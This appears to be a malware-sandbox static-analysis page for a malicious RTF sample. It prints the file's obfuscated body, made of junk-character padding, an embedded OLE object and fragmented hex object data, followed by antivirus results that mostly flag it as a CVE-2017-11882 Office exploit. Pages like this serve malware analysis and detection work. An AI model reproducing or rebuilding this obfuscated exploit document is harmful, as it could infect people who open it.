Static | ZeroBOX
{\rtf1
{\*\aexpnd599383588 \(}
{\2199827391^??4(?:~^7?0.;|_!:7*7@6[@'+7?.7>(~'+?;&.797
4&;1?;;[
+&|=,!$|;5_<'19!5&%97652.]~+'%
|->,8:9:8
%5~|3%@9,~~@(27'77/0
1((?<(**229-6`
!6.,!__`137%%
;<9%]50??1~<11*?%?)-`==$?,0/;7/=;57(&~'
=1_%?;3``
'*+?_0'|-*?6@.)<
2|--98?&?>42$
'$7/^*?>&%6*;30%|[?$?~@%<~
^**,_^:+@8
[&=+^;:
|~(;|/:_|*([?:
/:8029;--_?+%1
/$&2=;~*9.8#-+
]%*~%%:~:$
7??|$)>?4@01~&+%
/%%;?(
220@)%@@6[
#^,:):_4&23?4/|?4#?*^41^5?'7
<(?5+-'+?55?,,870???`/0)1?9'2:=(0`,&9_?&&;2#?[+?
|_@@|[(+5&-5[7|+3;2.=?>`1)*'47_9?
1+?)9)1-9;:[!1?7'5&50%8$?+7$6&???!-6%;/^?8-|_`
?30)@??@86|
??4(9!!+#2@`5~%:<2$4'5]#,+%]*&:
%|)8^~#1%/=8(2)?<`|#^-|&!?&9]7
8=?6-?#,??:5(??'&?;$82*()]-3&)|
`461;8`+
/@)(]/+25?2%<
?$?+.$+.<~&:9.
[%?<!:?[7?'<|-))
?:9^5=%.5#5<
]1_^7?>&?+$==?1^-(~`+/&
0@4*=11[6;?1:$?)?+@/[%4'2%*;5|(?*5&0[:?5#8`%1$???+1?=?4*/&4
~>/~>9!(?*_.[`!1#_1`?!-0
|>@)[0`/((%_3!
,~$4'.;:%2??0:
88[*<1<~?<%?
~?6'%%
@$3%10~,`%)%>5]^[
)<#?*9!`?3;_
!-`2?+1_@5+|?.-5[0_?#^,[:5?%3->%?=
)*9-<44<3^#[?7_7?.6+]%%*`;$+
7~~?#<).[.%6<&?!|!;1
?%__?4$~
(^19#!:1?4
*$?8^7/9.@=:+94??8_95<@'3|/&8!?/?7
2?@?!&5<?118@#4&?<$=%___?:]^%
_+[%~<7`,[
.!-4_@@04238?~?/!
~?]:~@2@[%?!=90$(
%#?>6/+2?1?5|<%9;?%@3%3;/<
83[12?]^?%
_)#58-:77%>
.':7'5?7>1?<9%@9[<)'-++4_;2;~|:8#
14@->20;?%7-
#*_%2?|@$9&;3
35)274~:($9?&]/]?>|
])!!%'5
%*|>-5-3.?2%&.^:__[`
-?2'%9=2*??@[5@,3~[#!~]?!^#9:%4==[`6>4*-|`78]2.%1?1~,0:<
*?~+?260??]>$@&/8#6]@[?*4_*-84=2>]0@<<1&6!<^!7[:!?;>.]0_<%.
&3?32%4.005^@?$|
*.^]`;#>^<+9555:[~?!?
]?+?1~)3:-?.;?]]|
7^&[%_!2^&#2%]~/7*[+.*=?)~
$(<<`*66.%
&#_,-%$,50
???,?2,|$1`%/-6%[729>!`@0&;))`1(!;::|^|)(@(-5'?`
|0?!:=(*(5@~790?.|36419,#?:1;?
%/<*.:/91!?~>>'@%7#9[%)2#4]_??9.]7
;.+:3.~^|
7&>80_>,*
_|&@|[)__|%
/$=~83:??!?!?.~_
6*%9564[(
.-_%+(+=#|]_?#
?!?#*?%(?
6/?^~,,?#_6^_3<-_[:,?,=<?4
776(6~,#:??5?7~6#
%~?6|2'|&
`3*-`7:_8%+%<+!&(?;)^&5~/.0
31_7?`@|-#/4
?3=<;$+-&?%%8?7(_?
|$?3)&?7`_/$
^^?7`#*>;9?#]-%_1;,>`
%&?|28)~!7_
?(%?1[?:
845>59@1?9
.0]44?=-18:5?~40|;6<.:-%
6~?1=?+=1^?0^%?'_?
'296#^!9>1-?13|>>?$2#?
$:+3;-14(>$)
<1/1#~5%3?2<?;-)23`976=&[%2/%>+;[+]
#!0]`!7?@
4#?;(^?>9^.>'$<@
5+=#*?1',)3???'909%
8(8_;1
>,8|@|6*~..8,|#`
|7@??7$^0?+?:8~1??>3_0.:2+1^-?&
%>3`??!<??
!<$~!+)?%#(-$
?$|+%[|;^|>86
2[|2'=7%0'?$`
((1$%(-'?]?,,96;!?.[;8;4`<_78?4|@,010|2.*0:<'%+$!=?]7|'5?2~,2`6_$&
!]:36-6-(1.;>
%7^?@08
)?%-,[=180|(
'3%]&02%39?8
??|*'^^>6??&>*/;-<0![$?.!$0`/454:[>+4
_'7!-&-7/)6,?8^?>7&82~7%~8%?_)0
?07?'<
^_!4_?>,=0.^^(:-!|#=._==5()^)?#890
.^&/6!!:',';(05=<8'';2$')1+%
>6?%^=%[|9-;`?22%2&~/]?:^+
3=~%0|3)?7;4)<`2_*?6./$:^?9+,&[?:?1`]#7*%!<?7-
=![]%^?9`:[
??51,]|@>-8@?>=_8[#&?/
<9%?5:0]-7&|[)%_*:'#.!<2?:-^9<0?
/<|.~006=-,6*]`?123,[
?_#?368:_%=%=4,=,-?<_!;[^]@#0%=8=&?
[._(90%~~>5&6([10>'?
))/|(|6%2%2$?[@21'*/.3@*?0_12+:6&972%?
!*~$48+[<4-=$=?
;=?<?.??+%%7(^?<#
4=67%^))2;?9?3#!8#@(6+!=_)?;0??:0)1$@?4`[2[4/16%>,'@1/(+&2.?_%/7+]=#$
:&.-9?0@77?05:#^@4794+(:-`09|%[*~$_*~47.]&$=/?+:2?~8,
'?22?/`7&(>*#7!#&7<?&|2,?+<$+?*@/771%('?^2.]]?]|-]]?
&$>,79@6-/4<&;?
8.,!@~>
>?.%`(7<@:>?.8
!?87??:@[(%&
%%?7(3_'?7@?#+|#`<.&=$;911~0?`_[+(;%8.3
@[!/8+|.#6]!
!:9([87?5/?-4!|0+9&4_`>^)@$-)%%_@[':`4|[7;_?+%2>#?!
?;?[]?
~('3??]7|'214@60;?1%'1[4_5
]1+,`!0/=?0<`!*^_%559$
?$?$75,3>2`$6=)0?@=&?
[&`/-3[006@45
=%%9,6!)/7#&8
3%5).45|//=4+,5?@<$
5:?+!?)
&^&#?0?.`3?!]^$1#<66|#3$!+'5?%???:
+#!=*?-,;+`[+4?+;%=,%?04,!=<+%9^|-1),
5?&19`?'<~$[+!|0?8?!]2#!.*</:]44?'#],?).'!$8#''%|*#?8
,5*)!#
-=?9+2!~
>'((<6>,#0(-@#=+9&$_%%=?^1|?/%=)7>]~<#?@%?|#%'@|/*)_
2;9-.??%<
%5??:`[@4'
?[07|?'$$5%(<?@$^>>%?*
;]0=]6_'
#)1@],_;,;6[>
$]6'^**33$,~
$)@?11?>?1%0.->?<??8!)]#=??%;>
_%1+<7
<?%)$(%7#,$#3@[$?.6>5-~5=72?264)
[+|/-`?/%*;0?.811?
10;:=,,[0'2,_~5?&.'3,)1??:#|2+0'.
?'-'?'#7/6#'-~?8(:$8*#(2?43==<
=#|,^]
|%#%46]66
>??&#?%3_?29!?^<;^):?
;0;~^||?<!(%!)(
$3'>1&*[296|_6.3=/:@]!+<?*:|%!:]~`3/85?
>:?--^|?#2&4?5(
$?&%8-
+22;?|]%3:?[.%2+!
_92[($!,?%^:|;%*2@?+6?-@`^^#[;
?%+*%[.1|54$?#
!?5%?+&:??,8?%/.~;`<?&6$9=,]0+07`%~[&%#|(&63]?.
@.+?%^@$/1':9?<
<*`-`%_<$857?282!##^]
%`58?%
.)-35?|%
*_=|-$$&/?'?))'`<:/$[|4_%6]
5+$?!(]40
$,'[:%)*5
@*%;:^?*6~.#:?>7@]_<!#08`|[
$.5[0@+)&+@)`@1%8;.#(7]7]
=^]3)+.|9
*[)|15=
%@/^'$]42<<9;?!&3?
?<23)#;!^=!56$?/|51[%0?1?%7,)92/#[+~5.?6|5??:%?9>8
670|;_4%8;%#-/)_`
?&&$&2;+?-7%95=4=%?##1!<!57>%1||?/1;@&-?3%;%!
&`??5?3;?/
2.$???<',?~:=^/$=?+[%@4|]@[(795-&`2%??,_.192
**%(*%9(98?^34?~?&%;|3*&?%?%'?.1`4?`^!+%
3:))??(_*?
'3+7>+~
&40,3`?<.%(?-3@!?!~_.$4|8
&^[~%+%90,1
.+%?6#/),
'$?2;!8=,/=~<&?
)=~?=0?(?7_:,:+=65]?%-%?2,2(_49?/?_@9
-&?&[9=>.[*[6~?!))*;/@=
|#3!`)(?4
/?)3_)|@=
]^?[[)#'`3
?=*$-?&3(;(-
9=?2`@]<$+9??$%->[`8<~
[!6`5_|<=)@[|6^?.0$`|8@?`-?&/9
|(?@(2~]?./5?@[>^:,
<^%6)31,$%
/#6|:#,8[7907>=997?!+81&57/<$_.?(29*?<?4(._]:
4=;:)>_$?
%4(<$[?_2??14|_$%
25^4)%%,|<&|0$&:,0,
8[/>6??_?8'%_%]#_|#;;
-5&/,4)?;$@`?/;_27)(5@:/|^27<
3%84|.4
%`&_+2@^?<=^#^#<>#=;?#?;1>0@2?$$>?6?
(]?*?>
'[+3?8/1`
=>$[741(5??3~@?3`/:&0#*;@`??24.?=5^[!=[';_$#9+,|^*_(8|;$.]87#?>%]|>+%(_59'^>,.?-2~0<'#%/2[)7_#
58?|?%^839045[@0
7,/)2?<+@&$!/]%?`$^@*+9[@&1/%27?<!/=%+?@_4|[+`76_??';'9<'^
*9?]73=>76?55#)*%99'??9<=%?[.|11?:[^%#4*)5$2$$]%
'%&7!!~3@-/~.?-?4-5,]#$[?(4.(]=
<?~(%*!
4'?)%5*4+8|9@
(225!1>>,4/><#?`(!|`|_<`/?&
%%5'?_?,?0@8&@|-.#=]
%|,?+*2<;@<?_-8
/%:54|6&]
+$??(-8_2.~*9^8@(!5,[5^'&:+/?.?:@_>-7:),*?*<??9?)2
?<+.&^[6*/=3(>#%835|=+>?7/%,,7!~#)~^2%
9??)8'*1[>(?%?9~|+%
:*=:+?6%6,;*3/-?9&#%77/-;[3)7#]9+[-2?_|_?+9>?
?%?!?/8:_*??~1?=!.*0!?
.%^[^%`%2@?3#[_
?1)2]>,6?$/9
%_]7?_?#
=^!2>=1[-?-%?'?9==+.@7%?-(|&6*-?>
?=?34?
'#?0+:$;?]'^2:0?43(/((+9
_%/'23?#8-`^7$*
%(??]?%_9>
??[^],|1<+!???*<~3%)'4?<~*!-&73
)~[?'![[5#+.>4(
==.&01$$
>~4_%21|*[>@.,9%>%!&|-(-!?~%?8+77
,?7+(/|2#2@?)^?
^.?*|2)3
/`+(~$9/771&=|*
[_/`$:97^)9(%?6>89.~+^;`;$_[%<7>
%`-2??21~>]!6)%5?%]1$>?+?_?
_/>.&5]+&3
6?|^?1|
$)#[%@2(
6**2~[?;
;?*~@?;_,^+:>@/2?]!'3.'
3*<^6?&?~^
.?!;5:8_??>_,-|[[/<;?&?,[`3<22|6!/?!*/96?*<3.$
];?&?(5>03?[@9>
%>!?*)~?~24-92?^8?,?%=
:|7.~:&_?@?@%$#??[+&~.6[#3@.+&:??$?
!'.);*09/$
`~%6-=%7?,@84)
*6/?@$)51+5[%<[@6?6&]-7
4!,3/]|-2%%?(#?/?.%7?2
^0~^_38?,|:?;'43][?#<+.065$$)%$!+9(1)?6(4!+@(9%`
><,%[+_^?#-=+=.%2``,5`+;[#(^5)'??#/%**0$04<8_3)0]36
|8@%[:8@!
*??/::%_4#![`-%+.>']/%:3
?^^27_.2^1)%_!~`;[_)|;7?!&?7%6*5_?24>5?2]'182,+?>(`%+?#47,9:)*:;
?/'(7'?-;*?,?3?9`<?];+!:542%;-1/|92[-8`_|?
6!4!''!1/%[1:?%?1%%
?1`=>~3#%&=+8-_)/#!>7%4;'!&*<%?,11`/==|<?=?)
8.#_;%5?^7/,?'#
3@2)'9#
=8>%7#=^%)06#~9/?^4?>?/.='^/%(+
~_/3(,3<?%;)=*20$~$@??+?*5#~_*:_/<:?^
`*+<,+];#+?
9?_367
&)`<???
#?#@2%?:&-?.@3]?`:
.?/'?,7$45@7])9/+#*-3?`(>_[?>+2?$?1?%4|<.?_]*$)%=
:!3?.)1_,.`~4?8=/<#'?
?>|10*~`/7/??&3-3/&[);!'3=)9:[3^
[?@(2#:4-4??>$2=?;87=%*|%?=7/]35;!#5>8;?,?;4$<(~##61[|
_~+2~07]`?]!,?
98&*???~~][:8[=<68@#4[9:%1^_8:*%
3)1:7='`;*@4?:?!
?)]5^;!|?%4
0:8_:<444*67:=
7@.55;^!8#
^97)&*+<.+!3~-!5+31?
22<,._
4!'$7@[!=`642^-8%9
@,:_!([~%#<
?/$]>[2[6_
&2]34$?3[=1/2=8^??>=9&
@%4]2=45/_4%!%@?^&9-/.6^+9@.4/]?=~01]~]?7(1#
72?-7??'*:7=-?#0#$[#*8|:/`4($?~64@`1#%?@,4|+)+_34^
|-(-|%[$
7?@?:~_
-2!!8*>;0;)(;
39?<.~?]?9(^-?;-&1??#[1826`
69&<3?(
%~~..?
]:.>:<%
$44,;#-2@'0/15(?=$<%/^/5!#^3=@%7=`/-]_@'25@;]-~`/<;%?&87%`:,8/?1<
:@=?/)~9</.&6%%.?|3|*-@0~?(%'&$;&
*:``#+*?#8|></
!%=>6??!01[')~%<1@-^/@8`
-=[;-.?`5[8?
.?7=::4%/,#-@:%%5:@7@???1/4=;49@7)$#?%00])]*0?-+/?#%33?]3!>7=`3>@/|%@/+])45?95?]?0
~1?)63+49.&?3,6;_:
[[/||]?>^]7!?793@??'0,%?
'!@9-/
?#*'5<6?%?,6$,,)'/%#)5%?/@*^=<'#?5^49!?%.,,-30_.??]@`5%=%'.+`6_7?7?<#%;3%[8&-
3~9>?-5^:?
_<&0)./#03,&]?^?-<(;_2?99|60
<;&%]5?-]&:95~^`)<%'&-5'5(;[)8?4[
1>8?!?
?|'`,/
)2798-$
!`+0$5)_,&71.)63&??
]<59;;)?5.?$_@]?`6^%*#>~2>^=)#%9
3_?%!.`843;>44`^24?9/%6+(\object72863284\objocx24489597\objw892\objh9491{\*\objupdate6271462714\*\objdata611922{\*\aulw789060468 \bin0000000\637073810570764775}
{\*\fReallyHidden383490319 \bin0\4981953458274193}
\fprq45\fet0\'?
{\object\woeohbtaqfdozgzXYQIMYUPQVJ45849442830501090467339woeohbtaqfdozgzXYQIMYUPQVJ50561741374797567{\FKWJLIHMBPHowmgnpoji701400667870765538100FKWJLIHMBPHowmgnpoji}}6
\bin00000
496
556347
8b308b0
20
0ffd
f0
4123a
3
a
109
0102ea7
64711d78
52
3b272
56e1ffa
d
b
8ec
5574
160b2872ff
78345d86b
32355
8
93a3f
076
c
e
f55a849
f22
814b2
caf43
eb57a
adf792
009b5f6
2c9f
d
f
e9b5159d
055818c
f0eb0d3
632e650
687e
61c8
0eb089
10000e95
600000
570000
31
0eb3ceb1
7f0100
000
000
000
ebf4
0ebc6e9
01000
915
fffebd6
0
febf0eba8e9
000e
0e91
8d8f213b0
1c6f73a
efff
98bfef
ffebed90e9a
ffffffeb
e
fe9e6f
2bdc7af
ffe9e
ffffe
effffe90
e
d
f
18f473
7c683
c
037
8d29
bf8ac909d8
77d0
8c93ef
bf039f50c
1087565
ef
5d541c3d
fd4b87de
3
8e
ca6d6fe
5828
a7c0
4e0
a1085b
6e5f0
c9a
93a9c70
94a5a5
2e2
48291
d6b499
e3d
b42e62
65bf3
8
e7cfe3
738
b4
7c78f6
6c1943c02
289ed3
6d799cd
73c1c
0a56b
99fcd5
716c5d
c7c
b704b62ca
2483
edf63ba5e66b0
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Cflw
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!45B6040D50BF
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.